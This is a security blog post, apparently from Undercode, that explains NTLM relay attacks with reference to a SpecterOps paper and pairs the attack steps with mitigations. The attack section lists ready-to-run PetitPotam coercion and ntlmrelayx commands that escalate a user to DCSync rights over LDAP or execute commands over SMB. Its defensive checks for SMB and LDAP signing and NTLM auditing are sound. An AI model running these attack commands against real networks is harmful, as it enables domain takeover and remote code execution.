Listen to this Post
Introduction:
A recent white paper by SpecterOps has reignited concern around the classic NTLM relay attack, detailing its evolution into a more potent and versatile threat. This resurgence demonstrates how aging authentication protocols can be ruthlessly exploited to compromise entire modern enterprise networks, bypassing multi-factor authentication in specific scenarios.
Learning Objectives:
- Understand the core vulnerabilities in the NTLM authentication protocol that make relay attacks possible.
- Identify common misconfigurations and network services that are prime targets for coercion and relaying.
- Learn practical mitigation and detection strategies to defend Windows and Linux environments against these attacks.
You Should Know:
1. The Fundamental Flaw: NTLM Authentication Without Signing
NTLM’s critical weakness is that it is a connection-based authentication mechanism. An attacker who can intercept an authentication attempt (a challenge/response sequence) can “relay” those credentials to a different service or machine than the user intended, impersonating the victim without ever needing to crack their password hash.
2. Coercing Authentication: Forcing a Target to Authenticate
The first step in an NTLM relay attack is tricking a target system into attempting authentication to a machine the attacker controls. This is known as authentication coercion.
Verified Command (Windows – via PetitPotam):
python3 PetitPotam.py -d <DOMAIN> -u <USER> -p <PASSWORD> <ATTACKER_IP> <TARGET_IP>
What it does: This Python script exploits the MS-EFSRPC (Encrypting File System Remote Protocol) to coerce a target domain controller or Windows machine to authenticate to an attacker-controlled host.
How to use it: Run the script from a Linux attack box, specifying the domain, a valid set of low-privilege credentials, your attacker IP, and the IP of the target you wish to coerce.
3. Setting Up the Relay: The Attacker’s Toolkit
The attacker sets up a listener to catch incoming authentication attempts and relay them to a target service.
Verified Tool (Impacket’s ntlmrelayx.py):
python3 ntlmrelayx.py -t ldap://<DC_IP> --escalate-user <USERNAME> -smb2support
What it does: This versatile tool listens for incoming SMB, HTTP, or other authentication attempts. When received, it relays them to a target service specified with the `-t` flag. The `–escalate-user` option automatically attempts to grant the relayed user DCSync rights if the relay target is a Domain Controller’s LDAP service.
How to use it: Execute the command, ensuring the `-smb2support` flag is present for modern SMB. This sets the stage. You would then use a coercion technique (like PetitPotam) to point a target at this relay server.
4. Exploiting via LDAP: Gaining Domain Persistence
A primary relay target is an LDAP service on a Domain Controller. Successful relay here allows for instant privilege escalation.
What happens: The attacker’s relay tool, upon successful authentication to LDAP, can modify the target user’s attributes in Active Directory. The most common attack is to add the relayed account to the Domain Admins group or configure it with DCSync privileges (mimicking the `ms-DS-MachineAccountQuota` attribute abuse for users).
5. Exploiting via SMB: Remote Code Execution
Relaying to SMB can allow for file operations, including writing a service binary to achieve code execution.
Verified Command (ntlmrelayx for SMB):
python3 ntlmrelayx.py -t smb://<TARGET_MACHINE_IP> -c <COMMAND> -smb2support
What it does: Relays credentials to the SMB service of a target machine. The `-c` flag allows you to execute a command on that target if the relayed user has administrative access to it.
How to use it: Set up the relay with this command. After coercing an authentication, if the victim user is a local admin on the target machine specified in -t, your command will execute.
6. Mitigation 1: Enforcing SMB Signing
SMB signing completely prevents SMB relay attacks by ensuring the authenticity of the communication channel.
Verified Command (Windows – Group Policy):
Check via Command
reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v requiresecuritysignature reg query "HKLM\SYSTEM\CurrentControlSet\Services\LanManWorkstation\Parameters" /v requiresecuritysignature
What it does: These registry keys control whether the server and client components require packet signing. A value of `1` enforces it.
How to use it: Enforce SMB signing for all Domain Controllers and member servers via Group Policy (Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Microsoft network server: Digitally sign communications (always)). Ensure client communications are also required.
- Mitigation 2: Enforcing LDAP/S Channel Binding and Signing
Protecting LDAP is critical. LDAPS (LDAP over SSL) with Channel Binding Token (CBT) prevents relay attacks targeting LDAP.
Verified Command (Windows – via Group Policy):
Check LDAP signing requirements:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" /v LdapServerIntegrity
What it does: A value of `2` for `LdapServerIntegrity` requires signing. Configure `Domain controller: LDAP server signing requirements` policy to “Require signing”.
How to use it: Enable LDAP signing and LDAPS channel binding on all Domain Controllers. This ensures that authentication cannot be relayed to the LDAP service without the original secure channel context.
8. Mitigation 3: Disabling NTLM Where Possible
The most effective mitigation is to eliminate the vulnerable protocol.
Verified Command (Windows – Audit NTLM Usage):
powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | Where-Object { $_.Message -like "NTLM" } | Select-Object -First 10
What it does: This PowerShell command audits the Security event log for successful logon events (Event ID 4624) that used NTLM, helping you identify applications and servers that still depend on it before you disable it.
How to use it: Use this audit data to plan the migration to Kerberos. Once dependencies are removed, you can disable NTLM via Group Policy (Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Network security: Restrict NTLM: policies).
What Undercode Say:
- The attacker’s ROI is immense. This attack chain requires no exploit development, uses built-in tools and protocols, and can lead to near-instant domain compromise with a single coerced authentication from any user, including a low-privileged one.
- Defense is entirely dependent on configuration, not patching. This shifts the burden to defenders to meticulously implement and validate security settings like SMB signing and LDAP protections across their entire estate, a task many organizations fail to complete consistently.
The SpecterOps paper is not a disclosure of a new vulnerability but a masterclass in weaponizing inherent protocol weaknesses. It serves as a stark reminder that the attack surface is not just zero-days; it’s often the foundational technologies we’ve run for decades. The renaissance of NTLM relay is a testament to the persistence of attackers in re-evaluating old techniques and the criticality of basic security hygiene. Organizations that have not enforced signing and disabled legacy protocols are sitting ducks for this highly reliable attack path.
Prediction:
The sophistication and accessibility of tools like PetitPotam and Impacket will lead to a significant increase in the use of NTLM relay attacks by ransomware affiliates and state-sponsored actors. It will become a staple in the initial access and privilege escalation phases of attacks, featured in numerous incident reports throughout 2024 and beyond. This will finally force a large-scale enterprise deprecation of NTLM, accelerating the move towards Kerberos-based authentication and more modern, resilient protocols like HTTP-based Kerberos for web applications.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Lawrence Amer – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
